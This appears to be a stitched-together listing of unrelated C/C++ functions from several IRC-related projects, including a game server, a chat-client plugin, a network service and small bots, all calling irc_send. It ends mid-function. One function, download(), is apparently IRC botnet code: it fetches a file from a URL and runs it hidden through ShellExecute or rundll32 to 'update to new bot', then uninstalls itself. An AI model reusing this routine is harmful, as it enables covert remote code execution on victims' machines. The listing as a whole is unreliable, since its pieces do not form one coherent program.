static int irc_who_connection(t_connection * dest, t_connection * c) { t_account * a; char const * tempuser; char const * tempowner; char const * tempname; char const * tempip; char const * tempflags = "@"; /* FIXME: that's dumb */ char temp[MAX_IRC_MESSAGE_LEN]; char const * tempchannel; if (!dest) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL destination"); return -1; } if (!c) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL connection"); return -1; } a = conn_get_account(c); if (!(tempuser = clienttag_uint_to_str(conn_get_clienttag(c)))) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL clienttag (tempuser)"); return -1; } if (!(tempowner = account_get_ll_owner(a))) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL ll_owner (tempowner)"); return -1; } if (!(tempname = conn_get_username(c))) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL username (tempname)"); return -1; } if (!(tempip = addr_num_to_ip_str(conn_get_addr(c)))) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL addr (tempip)"); return -1; } if (!(tempchannel = irc_convert_channel(conn_get_channel(c)))) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL channel (tempchannel)"); return -1; } if ((strlen(tempchannel)+1+strlen(tempuser)+1+strlen(tempip)+1+strlen(server_get_hostname())+1+strlen(tempname)+1+1+strlen(tempflags)+4+strlen(tempowner)+1)>MAX_IRC_MESSAGE_LEN) { eventlog(eventlog_level_info,__FUNCTION__,"WHO reply too long - skip"); return -1; } else sprintf(temp,"%s %s %s %s %s %c%s :0 %s",tempchannel,tempuser,tempip,server_get_hostname(),tempname,'H',tempflags,tempowner); irc_send(dest,RPL_WHOREPLY,temp); return 0; }
static void irc_ison_one(struct irc_conn *irc, struct irc_buddy *ib) { char *buf; if (irc->buddies_outstanding != NULL) { irc->buddies_outstanding = g_list_append(irc->buddies_outstanding, ib); return; } ib->new_online_status = FALSE; buf = irc_format(irc, "vn", "ISON", ib->name); irc_send(irc, buf); g_free(buf); }
unsigned int __stdcall download(void *param) /* downloads a file from the internet */ { unsigned long r; unsigned long w; char buffer[4096]; struct dls dl = *(struct dls *)param; struct dls *pdl = (struct dls *)param; HINTERNET ih = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); HINTERNET fh = InternetOpenUrl(ih, dl.url, 0, 0, 0, 0); pdl->gotinfo = true; if(fh) { HANDLE f = CreateFile(dl.dest, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0); if(f == INVALID_HANDLE_VALUE) { clearthread(dl.tnum); _endthreadex(0); } do { InternetReadFile(fh, buffer, sizeof(buffer), &r); WriteFile(f, buffer, r, &w, 0); } while(r > 0); CloseHandle(f); InternetCloseHandle(fh); InternetCloseHandle(ih); if(dl.update) /* update to new bot */ { if(dl.updatex) ShellExecute(0, "open", dl.dest, 0, 0, SW_HIDE); else { char buf[256]; _snprintf(buf, sizeof(buf), "%s,start", dl.dest); ShellExecute(0, "open", "rundll32.exe", buf, 0, SW_HIDE); } irc_send("QUIT"); uninstall(); } else if(dl.run) /* open file */ ShellExecute(0, "open", dl.dest, 0, 0, SW_SHOW); } clearthread(dl.tnum); _endthreadex(0); return 0; }
static void irc_chat_set_topic(PurpleConnection *gc, int id, const char *topic) { char *buf; const char *name = NULL; struct irc_conn *irc; irc = gc->proto_data; name = purple_conversation_get_name(purple_find_chat(gc, id)); if (name == NULL) return; buf = irc_format(irc, "vt:", "TOPIC", name, topic); irc_send(irc, buf); g_free(buf); }
int handlekickmsg(void *source, int cargc, char **cargv) { nick *np,*kicker; channel *cp; void *harg[4]; if (cargc<3) { return CMD_OK; } /* Find out who we are talking about here */ if ((np=getnickbynumericstr(cargv[1]))==NULL) { Error("channel",ERR_DEBUG,"Non-existant numeric %s kicked from channel %s",(char *)source,cargv[0]); return CMD_OK; } /* And who did the kicking */ if (((char *)source)[2]=='\0') { /* 'Twas a server.. */ kicker=NULL; } else if ((kicker=getnickbynumericstr((char *)source))==NULL) { /* It looks strange, but we let the kick go through anyway */ Error("channel",ERR_DEBUG,"Kick from non-existant nick %s",(char *)source); } /* And find out which channel */ if ((cp=findchannel(cargv[0]))==NULL) { /* OK, not a channel that actually exists then.. */ Error("channel",ERR_DEBUG,"Nick %s kicked from non-existent channel %s",np->nick,cargv[0]); } else { /* Before we do anything else, we have to acknowledge the kick to the network */ if (homeserver(np->numeric)==mylongnum) { irc_send("%s L %s",longtonumeric(np->numeric,5),cp->index->name->content); } /* Trigger hook *FIRST* */ harg[0]=cp; harg[1]=np; harg[2]=kicker; harg[3]=cargv[2]; triggerhook(HOOK_CHANNEL_KICK,harg); /* We let delnickfromchannel() worry about whether this nick is actually on this channel */ delnickfromchannel(cp,np->numeric,1); } return CMD_OK; }
int irc_cmd_away(struct irc_conn *irc, const char *cmd, const char *target, const char **args) { char *buf, *message; if (args[0] && strcmp(cmd, "back")) { message = purple_markup_strip_html(args[0]); purple_util_chrreplace(message, '\n', ' '); buf = irc_format(irc, "v:", "AWAY", message); g_free(message); } else { buf = irc_format(irc, "v", "AWAY"); } irc_send(irc, buf); g_free(buf); return 0; }
void irc_msg_nickused(struct irc_conn *irc, const char *name, const char *from, char **args) { char *newnick, *buf, *end; PurpleConnection *gc = purple_account_get_connection(irc->account); if (!args || !args[1]) return; if (gc && purple_connection_get_state(gc) == PURPLE_CONNECTED) { /* We only want to do the following dance if the connection has not been successfully completed. If it has, just notify the user that their /nick command didn't go. */ buf = g_strdup_printf("The nickname \"%s\" is already being used.", irc->reqnick); purple_notify_error(gc, "Nickname in use", "Nickname in use", buf); g_free(buf); g_free(irc->reqnick); irc->reqnick = NULL; return; } if (strlen(args[1]) < strlen(irc->reqnick) || irc->nickused) newnick = g_strdup(args[1]); else newnick = g_strdup_printf("%s0", args[1]); end = newnick + strlen(newnick) - 1; /* try fallbacks */ if((*end < '9') && (*end >= '1')) { *end = *end + 1; } else *end = '1'; g_free(irc->reqnick); irc->reqnick = newnick; irc->nickused = TRUE; purple_connection_set_display_name( purple_account_get_connection(irc->account), newnick); buf = irc_format(irc, "vn", "NICK", newnick); irc_send(irc, buf); g_free(buf); }
/* XXX I don't like messing directly with these buddies */ gboolean irc_blist_timeout(struct irc_conn *irc) { GString *string = g_string_sized_new(512); char *list, *buf; g_hash_table_foreach(irc->buddies, (GHFunc)irc_buddy_append, (gpointer)string); list = g_string_free(string, FALSE); if (!list || !strlen(list)) { g_free(list); return TRUE; } buf = irc_format(irc, "vn", "ISON", list); g_free(list); irc_send(irc, buf); g_free(buf); return TRUE; }
/* trace_server * return number of matched servers */ static int trace_server(char *sourcenum, char *target, int doall) { /* do not show all and no match for my hub */ if (!doall && !match2strings(target, serverlist[myhub].name->content)) return 0; /* * 206 RPL_TRACESERVER "source 206 target Serv class NS NC server connected_by last_parse connected_for" * "irc.netsplit.net 206 foobar Server 2S 6C irc.netsplit.net *!user@host 34 92988" * * note: no info available on how many servers or clients are linked through this server link -> 0S 0C * no info available on who/what established the link, pretend it is by us -> *!*@myservername * no info available on how long ago we last parsed something from this link -> 0 * no info available on how long this server has been linked -> 0 */ irc_send("%s 206 %s Serv servers 0S 0C %s *!*@%s 0 0", getmynumeric(), sourcenum, serverlist[myhub].name->content, myserver->content); return 1; }
/* handle remote version request * * <source numeric> VERSION/V <target server numeric> * * cargv[0] = target server numeric * can be a * in which case the request is for all servers (snircd extension) * */ int handleversionmsg(void *source, int cargc, char **cargv) { nick *snick; /* struct nick for source nick */ char *sourcenum = (char *)source; /* source user numeric */ /* check parameters */ if (cargc < 1) { miscreply_needmoreparams(sourcenum, "VERSION"); return CMD_OK; } /* find source user */ if (!(snick = miscreply_finduser(sourcenum, "VERSION"))) return CMD_OK; /* * 351 RPL_VERSION "source 351 target version server :info" * "irc.netsplit.net 351 foobar u2.10.12.12+snircd(1.3.4a). irc.netsplit.net :B96ADHMRU6" */ irc_send("%s 351 %s newserv%s %s :Newserv IRC Service", getmynumeric(), sourcenum, MISCREPLY_VERSION, myserver->content); return CMD_OK; }
int irc_cmd_ctcp(struct irc_conn *irc, const char *cmd, const char *target, const char **args) { /* we have defined args as args[0] is target and args[1] is ctcp command */ char *buf; GString *string; /* check if we have args */ if (!args || !args[0] || !args[1]) return 0; /* TODO:strip newlines or send each line as separate ctcp or something * actually, this shouldn't be done here but somewhere else since irc should support escaping newlines */ string = g_string_new(args[1]); g_string_prepend_c (string,'\001'); g_string_append_c (string,'\001'); buf = irc_format(irc, "vn:", "PRIVMSG", args[0], string->str); g_string_free(string,TRUE); irc_send(irc, buf); g_free(buf); return 1; }
/* Respond to PING. */ void cmd_ping(ircPacket *ircP) { irc_send("PONG :%s", ircP->trailing); }
static int _handle_whereto_command(t_connection * conn, int numparams, char ** params, char * text) { char temp[MAX_IRC_MESSAGE_LEN]; /* Casted to avoid warnings */ const char * wolip; const char * wolname = prefs_get_servername(); const char * woltimezone = prefs_get_wol_timezone(); const char * wollong = prefs_get_wol_longitude(); const char * wollat = prefs_get_wol_latitude(); { /* trans support */ unsigned short port = conn_get_real_local_port(conn); unsigned int addr = conn_get_real_local_addr(conn); trans_net(conn_get_addr(conn), &addr, &port); wolip = addr_num_to_ip_str(addr); } //irc_send(conn,RPL_UPDATE_EXIST,":You must update before connecting!"); // Check if it's an allowed client type if (!tag_check_in_list(conn_get_clienttag(conn), prefs_get_allowed_clients())) { // This is for anyone game but not for Emperor if (conn_get_clienttag(conn) != CLIENTTAG_EMPERORBD_UINT) { // a.xwis.net 4009 RA2 // c.xwis.net 4000 TSUN // c.xwis.net 4010 RNGD // a.xwis.net 4010 YURI // snprintf(temp, sizeof(temp), ":a.xwis.net 4009 '0:%s' %s %s %s", wolname, woltimezone, wollong, wollat); // snprintf(temp, sizeof(temp), ":c.xwis.net 4000 '0:%s' %s %s %s", wolname, woltimezone, wollong, wollat); // snprintf(temp, sizeof(temp), ":c.xwis.net 4010 '0:%s' %s %s %s", wolname, woltimezone, wollong, wollat); // snprintf(temp, sizeof(temp), ":a.xwis.net 4010 '0:%s' %s %s %s", wolname, woltimezone, wollong, wollat); std::snprintf(temp, sizeof(temp), ":%s %d '0:%s' %s %s %s", wolip, BNETD_WOLV2_PORT, wolname, woltimezone, wollong, wollat); irc_send(conn, RPL_WOLSERV, temp); } // Only for Emperor: Battle for Dune if (conn_get_clienttag(conn) == CLIENTTAG_EMPERORBD_UINT) { std::snprintf(temp, sizeof(temp), ":%s %d '0:Emperor %s' %s %s %s", wolip, BNETD_WOLV2_PORT, wolname, woltimezone, wollong, wollat); irc_send(conn, RPL_WOLSERV, temp); } // Only for CnC Renegade if ((conn_get_clienttag(conn) == CLIENTTAG_RENEGADE_UINT) || (conn_get_clienttag(conn) == CLIENTTAG_RENGDFDS_UINT)) { snprintf(temp, sizeof(temp), ":%s 0 'Ping server' %s %s %s", wolip, woltimezone, wollong, wollat); irc_send(conn, RPL_PINGSERVER, temp); //I dont know for what is this server...? (used in renegade and yuri) //snprintf(temp, sizeof(temp), ":%s 4321 'Port Mangler' %s %s %s", wolip, woltimezone, wollong, wollat); //irc_send(conn,RPL_MANGLERSERV,temp); // on official server list is for Renegade also this server: //:noxchat1.wol.abn-sjc.ea.com 613 UserName :ea4.str.ea.com 0 '0,1,2,3,4,5,6,7,8,9,10:EA Ticket Server' -8 36.1083 -115.0582 } // There are servers for anyone game // FIXME: Check if is WOLv1 supported std::snprintf(temp, sizeof(temp), ":%s %d 'Live chat server' %s %s %s", wolip, BNETD_WOLV1_PORT, woltimezone, wollong, wollat); irc_send(conn, RPL_WOLSERV, temp); } // If game is not allowed than we still send this servers std::snprintf(temp, sizeof(temp), ":%s %d 'Gameres server' %s %s %s", wolip, BNETD_WGAMERES_PORT, woltimezone, wollong, wollat); irc_send(conn, RPL_GAMERESSERV, temp); std::snprintf(temp, sizeof(temp), ":%s %d 'Ladder server' %s %s %s", wolip, BNETD_WOLV2_PORT, woltimezone, wollong, wollat); irc_send(conn, RPL_LADDERSERV, temp); // There is Word Domination Tour server for Firestorm (maybe for future coding) //snprintf(temp, sizeof(temp), ":%s %d 'WDT server' %s %s %s", wolip, BNETD_WOLV2_PORT, woltimezone, wollong, wollat); //I dont know for what is this server...? //irc_send(conn,RPL_WDTSERV,temp); return 0; }
void irc_parse_msg(struct irc_conn *irc, char *input) { struct _irc_msg *msgent; char *cur, *end, *tmp, *from, *msgname, *fmt, **args, *msg; guint i; PurpleConnection *gc = purple_account_get_connection(irc->account); irc->recv_time = time(NULL); /* * The data passed to irc-receiving-text is the raw protocol data. * TODO: It should be passed as an array of bytes and a length * instead of a null terminated string. */ purple_signal_emit(_irc_plugin, "irc-receiving-text", gc, &input); if (!strncmp(input, "PING ", 5)) { msg = irc_format(irc, "vv", "PONG", input + 5); irc_send(irc, msg); g_free(msg); return; } else if (!strncmp(input, "ERROR ", 6)) { if (g_utf8_validate(input, -1, NULL)) { char *tmp = g_strdup_printf("%s\n%s", _("Disconnected."), input); purple_connection_error_reason (gc, PURPLE_CONNECTION_ERROR_NETWORK_ERROR, tmp); g_free(tmp); } else purple_connection_error_reason (gc, PURPLE_CONNECTION_ERROR_NETWORK_ERROR, _("Disconnected.")); return; } if (input[0] != ':' || (cur = strchr(input, ' ')) == NULL) { irc_parse_error_cb(irc, input); return; } from = g_strndup(&input[1], cur - &input[1]); cur++; end = strchr(cur, ' '); if (!end) end = cur + strlen(cur); tmp = g_strndup(cur, end - cur); msgname = g_ascii_strdown(tmp, -1); g_free(tmp); if ((msgent = g_hash_table_lookup(irc->msgs, msgname)) == NULL) { irc_msg_default(irc, "", from, &input); g_free(msgname); g_free(from); return; } g_free(msgname); args = g_new0(char *, strlen(msgent->format)); for (cur = end, fmt = msgent->format, i = 0; fmt[i] && *cur++; i++) { switch (fmt[i]) { case 'v': if (!(end = strchr(cur, ' '))) end = cur + strlen(cur); args[i] = g_strndup(cur, end - cur); cur += end - cur; break; case 't': case 'n': case 'c': if (!(end = strchr(cur, ' '))) end = cur + strlen(cur); tmp = g_strndup(cur, end - cur); args[i] = irc_recv_convert(irc, tmp); g_free(tmp); cur += end - cur; break; case ':': if (*cur == ':') cur++; args[i] = irc_recv_convert(irc, cur); cur = cur + strlen(cur); break; case '*': args[i] = g_strdup(cur); cur = cur + strlen(cur); break; default: purple_debug(PURPLE_DEBUG_ERROR, "irc", "invalid message format character '%c'\n", fmt[i]); break; } } tmp = irc_recv_convert(irc, from); (msgent->cb)(irc, msgent->name, tmp, args); g_free(tmp); for (i = 0; i < strlen(msgent->format); i++) { g_free(args[i]); } g_free(args); g_free(from); }
/* * connected_cb * run when MOTD end is receieved */ void connected_cb(int s, char buf[MSG_MAX]) { /* stuff like identifying with NICKSERV goes here */ irc_send(s, "JOIN %s", "#bots"); }
void timer(unsigned long ts) { if (wantednick[0] && lasttry < ts - RETRYFREQ) { irc_send("NICK %s", wantednick); lasttry = time(NULL); } }
extern int handle_irc_welcome(t_connection * conn) { char temp[MAX_IRC_MESSAGE_LEN]; std::time_t temptime; char const * tempname; char const * temptimestr; if (!conn) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL connection"); return -1; } tempname = conn_get_loggeduser(conn); if ((34+std::strlen(tempname)+1)<=MAX_IRC_MESSAGE_LEN) std::sprintf(temp,":Welcome to the %s IRC Network %s",prefs_get_irc_network_name(), tempname); else std::sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_WELCOME,temp); if ((14+std::strlen(server_get_hostname())+10+std::strlen(PVPGN_SOFTWARE" "PVPGN_VERSION)+1)<=MAX_IRC_MESSAGE_LEN) std::sprintf(temp,":Your host is %s, running "PVPGN_SOFTWARE" "PVPGN_VERSION,server_get_hostname()); else std::sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_YOURHOST,temp); temptime = server_get_starttime(); /* FIXME: This should be build time */ temptimestr = std::ctime(&temptime); if ((25+std::strlen(temptimestr)+1)<=MAX_IRC_MESSAGE_LEN) std::sprintf(temp,":This server was created %s",temptimestr); /* FIXME: is ctime() portable? */ else std::sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_CREATED,temp); /* we don't give mode information on MYINFO we give it on ISUPPORT */ if ((std::strlen(server_get_hostname())+7+std::strlen(PVPGN_SOFTWARE" "PVPGN_VERSION)+9+1)<=MAX_IRC_MESSAGE_LEN) std::sprintf(temp,"%s "PVPGN_SOFTWARE" "PVPGN_VERSION" - -",server_get_hostname()); else std::sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_MYINFO,temp); std::sprintf(temp,"NICKLEN=%d TOPICLEN=%d CHANNELLEN=%d PREFIX=%s CHANTYPES="CHANNEL_TYPE" NETWORK=%s IRCD="PVPGN_SOFTWARE, MAX_CHARNAME_LEN, MAX_TOPIC_LEN, MAX_CHANNELNAME_LEN, CHANNEL_PREFIX, prefs_get_irc_network_name()); if((std::strlen(temp))<=MAX_IRC_MESSAGE_LEN) irc_send(conn,RPL_ISUPPORT,temp); else { std::sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_ISUPPORT,temp); } irc_send_motd(conn); message_send_text(conn,message_type_notice,NULL,"This is an experimental service"); conn_set_state(conn,conn_state_bot_password); if (conn_get_ircpass(conn)) { message_send_text(conn,message_type_notice,NULL,"Trying to authenticate with PASS ..."); irc_authenticate(conn,conn_get_ircpass(conn)); } else { message_send_text(conn,message_type_notice,NULL,"No PASS command received. Please identify yourself by /msg NICKSERV identify <password>."); } return 0; }
int main(int argc, char** argv) { struct sockaddr_in sin; struct hostent* connectHost; char recvBuf[BUFSIZE], c; int recvLen = 0, i, port; ircPacket ircP; if (argc != 5) { printf("Usage: %s <server> <port> <nick> <channel (without #)>.\n", argv[0]); return 0; } strncpy(IRCSERVER, argv[1], 32); strncpy(NICK, argv[3], 32); strncpy(CHANNEL, argv[4], 32); port = atoi(argv[2]); connectHost = gethostbyname(IRCSERVER); IRCSOCKET = socket(AF_INET, SOCK_STREAM, 0); if (IRCSOCKET == -1) { perror("Could not open socket.\n"); exit(1); } sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr = *((struct in_addr*)connectHost->h_addr); if (connect(IRCSOCKET, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) error(1, "Could not connect"); irc_send("USER %s %s %s :Simple ircbot", NICK, NICK, IRCSERVER); irc_send("NICK :%s", NICK); while(1) { for (i = 0; recvLen = recv(IRCSOCKET, &c, sizeof(char), 0), c!='\n' && i <= BUFSIZE; recvBuf[i++] = c); if (recvLen == 0) error(0, "Server closed connection"); if (recvLen == -1) error(1, "Error on recv()"); recvBuf[i-1] = '\0'; printf("< %s.\n", recvBuf); parseData(recvBuf, &ircP); if (ircP.numParams > 0) { for (i = 0; i < (int)(sizeof(ircHandlers) / sizeof(ircHandler)); i++) { if (strcmp(ircHandlers[i].command, ircP.params[0]) == 0) ircHandlers[i].handlerFunc(&ircP); } } free_ircpacket(&ircP); } close(IRCSOCKET); return 0; }
extern int irc_welcome(t_connection * conn) { char temp[MAX_IRC_MESSAGE_LEN]; time_t temptime; char const * tempname; char const * temptimestr; char const * filename; FILE *fp; char * line, * formatted_line; char send_line[MAX_IRC_MESSAGE_LEN]; char motd_failed = 0; if (!conn) { eventlog(eventlog_level_error,__FUNCTION__,"got NULL connection"); return -1; } tempname = conn_get_loggeduser(conn); if ((34+strlen(tempname)+1)<=MAX_IRC_MESSAGE_LEN) sprintf(temp,":Welcome to the %s IRC Network %s",prefs_get_irc_network_name(), tempname); else sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_WELCOME,temp); if ((14+strlen(server_get_hostname())+10+strlen(PVPGN_SOFTWARE" "PVPGN_VERSION)+1)<=MAX_IRC_MESSAGE_LEN) sprintf(temp,":Your host is %s, running "PVPGN_SOFTWARE" "PVPGN_VERSION,server_get_hostname()); else sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_YOURHOST,temp); temptime = server_get_starttime(); /* FIXME: This should be build time */ temptimestr = ctime(&temptime); if ((25+strlen(temptimestr)+1)<=MAX_IRC_MESSAGE_LEN) sprintf(temp,":This server was created %s",temptimestr); /* FIXME: is ctime() portable? */ else sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_CREATED,temp); /* we don't give mode information on MYINFO we give it on ISUPPORT */ if ((strlen(server_get_hostname())+7+strlen(PVPGN_SOFTWARE" "PVPGN_VERSION)+9+1)<=MAX_IRC_MESSAGE_LEN) sprintf(temp,"%s "PVPGN_SOFTWARE" "PVPGN_VERSION" - -",server_get_hostname()); else sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_MYINFO,temp); if((conn_get_wol(conn) == 1)) sprintf(temp,"NICKLEN=%d TOPICLEN=%d CHANNELLEN=%d PREFIX="CHANNEL_PREFIX" CHANTYPES="CHANNEL_TYPE" NETWORK=%s IRCD="PVPGN_SOFTWARE, WOL_NICKNAME_LEN, MAX_TOPIC_LEN, CHANNEL_NAME_LEN, prefs_get_irc_network_name()); else sprintf(temp,"NICKLEN=%d TOPICLEN=%d CHANNELLEN=%d PREFIX="CHANNEL_PREFIX" CHANTYPES="CHANNEL_TYPE" NETWORK=%s IRCD="PVPGN_SOFTWARE, CHAR_NAME_LEN, MAX_TOPIC_LEN, CHANNEL_NAME_LEN, prefs_get_irc_network_name()); if((strlen(temp))<=MAX_IRC_MESSAGE_LEN) irc_send(conn,RPL_ISUPPORT,temp); else { sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_ISUPPORT,temp); } if ((3+strlen(server_get_hostname())+22+1)<=MAX_IRC_MESSAGE_LEN) sprintf(temp,":- %s, "PVPGN_SOFTWARE" "PVPGN_VERSION", built on %s",server_get_hostname(),temptimestr); else sprintf(temp,":Maximum length exceeded"); irc_send(conn,RPL_MOTDSTART,temp); if ((filename = prefs_get_motdfile())) { if ((fp = fopen(filename,"r"))) { while ((line=file_get_line(fp))) { if ((formatted_line = message_format_line(conn,line))) { formatted_line[0]=' '; sprintf(send_line,":-%s",formatted_line); irc_send(conn,RPL_MOTD,send_line); xfree(formatted_line); } } file_get_line(NULL); // clear file_get_line buffer fclose(fp); } else motd_failed = 1; } else motd_failed = 1; if (motd_failed) { irc_send(conn,RPL_MOTD,":- Failed to load motd, sending default motd "); irc_send(conn,RPL_MOTD,":- ====================================================== "); irc_send(conn,RPL_MOTD,":- http://www.pvpgn.org "); irc_send(conn,RPL_MOTD,":- ====================================================== "); } irc_send(conn,RPL_ENDOFMOTD,":End of /MOTD command"); irc_send_cmd(conn,"NOTICE",":This is an experimental service."); conn_set_state(conn,conn_state_bot_password); if (connlist_find_connection_by_accountname(conn_get_loggeduser(conn))) { irc_send_cmd(conn,"NOTICE","This account is already logged in, use another account."); return -1; } if (conn_get_ircpass(conn)) { irc_send_cmd(conn,"NOTICE",":Trying to authenticate with PASS ..."); irc_authenticate(conn,conn_get_ircpass(conn)); } else { irc_send_cmd(conn,"NOTICE",":No PASS command received. Please identify yourself by /msg NICKSERV identify <password>."); } return 0; }
static void handle_irc_packet(fs_node_t * tty, size_t size, uint8_t * packet) { char * c = (char *)packet; while ((uintptr_t)c < (uintptr_t)packet + size) { char * e = strstr(c, "\r\n"); if ((uintptr_t)e > (uintptr_t)packet + size) { break; } spin_lock(irc_tty_lock); if (!e) { /* XXX */ c[size-1] = '\0'; fprintf(tty, "\r\033[36m%s\033[0m\033[K\n", c); goto prompt_; } e[0] = '\0'; if (startswith(c, "PING")) { char tmp[100]; char * t = strstr(c, ":"); sprintf(tmp, "PONG %s\r\n", t); irc_send(tmp); goto prompt_; } char * user; char * command; char * channel; char * message; user = c; command = strstr(user, " "); if (!command) { fprintf(tty, "\r\033[36m%s\033[0m\033[K\n", user); goto prompt_; } command[0] = '\0'; command++; channel = strstr(command, " "); if (!channel) { fprintf(tty, "\r\033[36m%s %s\033[0m\033[K\n", user, command); goto prompt_; } channel[0] = '\0'; channel++; if (!strcmp(command, "PRIVMSG")) { message = strstr(channel, " "); if (!message) { fprintf(tty, "\r\033[36m%s %s %s\033[0m\033[K\n", user, command, channel); goto prompt_; } message[0] = '\0'; message++; if (message[0] == ':') { message++; } if (user[0] == ':') { user++; } char * t = strstr(user, "!"); if (t) { t[0] = '\0'; } t = strstr(user, "@"); if (t) { t[0] = '\0'; } uint16_t hr, min, sec; get_time(&hr, &min, &sec); if (startswith(message, "\001ACTION ")) { message = message + 8; char * x = strstr(message, "\001"); if (x) *x = '\0'; fprintf(tty, "\r%2d:%2d:%2d * \033[32m%s\033[0m:\033[34m%s\033[0m %s\033[K\n", hr, min, sec, user, channel, message); } else { fprintf(tty, "\r%2d:%2d:%2d \033[90m<\033[32m%s\033[0m:\033[34m%s\033[90m>\033[0m %s\033[K\n", hr, min, sec, user, channel, message); } } else { fprintf(tty, "\r\033[36m%s %s %s\033[0m\033[K\n", user, command, channel); } prompt_: /* Redraw prompt */ fprintf(tty, "%s", irc_prompt); fprintf(tty, "%s", irc_input); spin_unlock(irc_tty_lock); if (!e) break; c = e + 2; } }
/* handle remote trace request * * <source numeric> TRACE/TR <target> <target server numeric> * * cargv[0] = target * as given by source, can be a nick or a server (may contain wildcards) * cargv[1] = target server numeric * */ int handletracemsg(void *source, int cargc, char **cargv) { nick *snick; /* struct nick for source nick */ nick *tnick; /* struct nick for target nick */ nick **lnick; /* struct nick for looping local users */ int c; /* loop variable */ int opers = 0; /* number of operators */ int users = 0; /* number of users */ int servers = 0; /* number of servers */ int doall, wilds, dow; /* determine what to show */ char *sourcenum = (char *)source; /* source user numeric */ char *target; /* target parameter - as given by the source user */ /* check parameters */ if (cargc < 2) { miscreply_needmoreparams(sourcenum, "TRACE"); return CMD_OK; } /* get the parameters */ target = cargv[0]; /* find source user */ if (!(snick = miscreply_finduser(sourcenum, "TRACE"))) return CMD_OK; /* doall, wilds, dow */ doall = match2strings(target, myserver->content); wilds = strchr(target, '*') || strchr(target, '?'); dow = wilds || doall; /* find target user */ if ((tnick = getnickbynick(target))) { /* my user */ if (mylongnum == homeserver(tnick->numeric)) trace_user(sourcenum, tnick); } /* source user is an operator */ else if (IsOper(snick)) { /* show servers */ servers = trace_server(sourcenum, target, doall); /* do all or wilds */ if (dow) { /* loop over all local users */ lnick = servernicks[mylongnum]; for (c = 0; c < serverlist[mylongnum].maxusernum; c++) { if (lnick[c] == NULL) /* no user */ continue; /* target is invisible (mode +i), target is not an operator */ if (IsInvisible(lnick[c]) && dow && !IsOper(lnick[c])) continue; /* dont show all, do wildcards and no match */ if (!doall && wilds && !match2strings(target, lnick[c]->nick)) continue; if (IsOper(lnick[c])) opers++; else users++; trace_user(sourcenum, lnick[c]); } /* * class has no meaning here, * but showing the total count for users/opers/servers might be useful anyway * * 209 RPL_TRACECLASS "source 209 target Class class count" * "irc.netsplit.net 209 foobar Class users 2" */ if (users) irc_send("%s 209 %s Class users %d", getmynumeric(), sourcenum, users); if (opers) irc_send("%s 209 %s Class opers %d", getmynumeric(), sourcenum, opers); if (servers) irc_send("%s 209 %s Class servers %d", getmynumeric(), sourcenum, servers); } } /* * 262 RPL_TRACEEND "source 262 target :End of TRACE" * "irc.netsplit.net 262 foobar :End of TRACE" */ irc_send("%s 262 %s :End of TRACE", getmynumeric(), sourcenum); return CMD_OK; }
static gboolean do_login(PurpleConnection *gc) { char *buf, *tmp = NULL; char *server; const char *nickname, *identname, *realname; struct irc_conn *irc = gc->proto_data; const char *pass = purple_connection_get_password(gc); #ifdef HAVE_CYRUS_SASL const gboolean use_sasl = purple_account_get_bool(irc->account, "sasl", FALSE); #endif if (pass && *pass) { #ifdef HAVE_CYRUS_SASL if (use_sasl) buf = irc_format(irc, "vv:", "CAP", "REQ", "sasl"); else /* intended to fall through */ #endif buf = irc_format(irc, "v:", "PASS", pass); if (irc_send(irc, buf) < 0) { g_free(buf); return FALSE; } g_free(buf); } realname = purple_account_get_string(irc->account, "realname", ""); identname = purple_account_get_string(irc->account, "username", ""); if (identname == NULL || *identname == '\0') { identname = g_get_user_name(); } if (identname != NULL && strchr(identname, ' ') != NULL) { tmp = g_strdup(identname); while ((buf = strchr(tmp, ' ')) != NULL) { *buf = '_'; } } if (*irc->server == ':') { /* Same as hostname, above. */ server = g_strdup_printf("0%s", irc->server); } else { server = g_strdup(irc->server); } buf = irc_format(irc, "vvvv:", "USER", tmp ? tmp : identname, "*", server, strlen(realname) ? realname : IRC_DEFAULT_ALIAS); g_free(tmp); g_free(server); if (irc_send(irc, buf) < 0) { g_free(buf); return FALSE; } g_free(buf); nickname = purple_connection_get_display_name(gc); buf = irc_format(irc, "vn", "NICK", nickname); irc->reqnick = g_strdup(nickname); irc->nickused = FALSE; if (irc_send(irc, buf) < 0) { g_free(buf); return FALSE; } g_free(buf); irc->recv_time = time(NULL); return TRUE; }
/* Join channels on 376 END OF MOTD. */ void cmd_376(ircPacket *ircP) { irc_send("JOIN #%s", CHANNEL); }
int main(int argc, char *argv[]) { char console[MAX_LEN]; unsigned int err = 0; extern unsigned long alloc_calls; extern unsigned long free_calls; handle_first = (struct handle_list*)mallocm(sizeof(struct handle_list)); if(handle_first == NULL) { make_error("Failed to allocate memory for internal handle list!"); getchar(); return 1; } handle_first->next = NULL; handle_first->handle = (void*)&handle_first; handle_last = handle_first; dispsplash(); printf("Initializing... "); stats.start_time = (long)time(NULL); if(!init()) { make_error("Initialization failed (init() is 0)."); free_xion_memory(); getchar(); return 1; } bot_cmd_init(); printf("Done.\n"); if(!log_clean()) make_warning("Failed to clear log file."); log_write("*** Program started. Executed as: %s", argv[0]); printf("Connecting to %s:%d... ", bot.servaddr, bot.servport); if((err = irc_connect(bot.servaddr, bot.servport)) != 0) { printf("Failed to connect. ERROR %d\n\n", err); log_write("Connecting failed with code: %d", err); printf("Press Enter key to continue."); getchar(); return 0; } 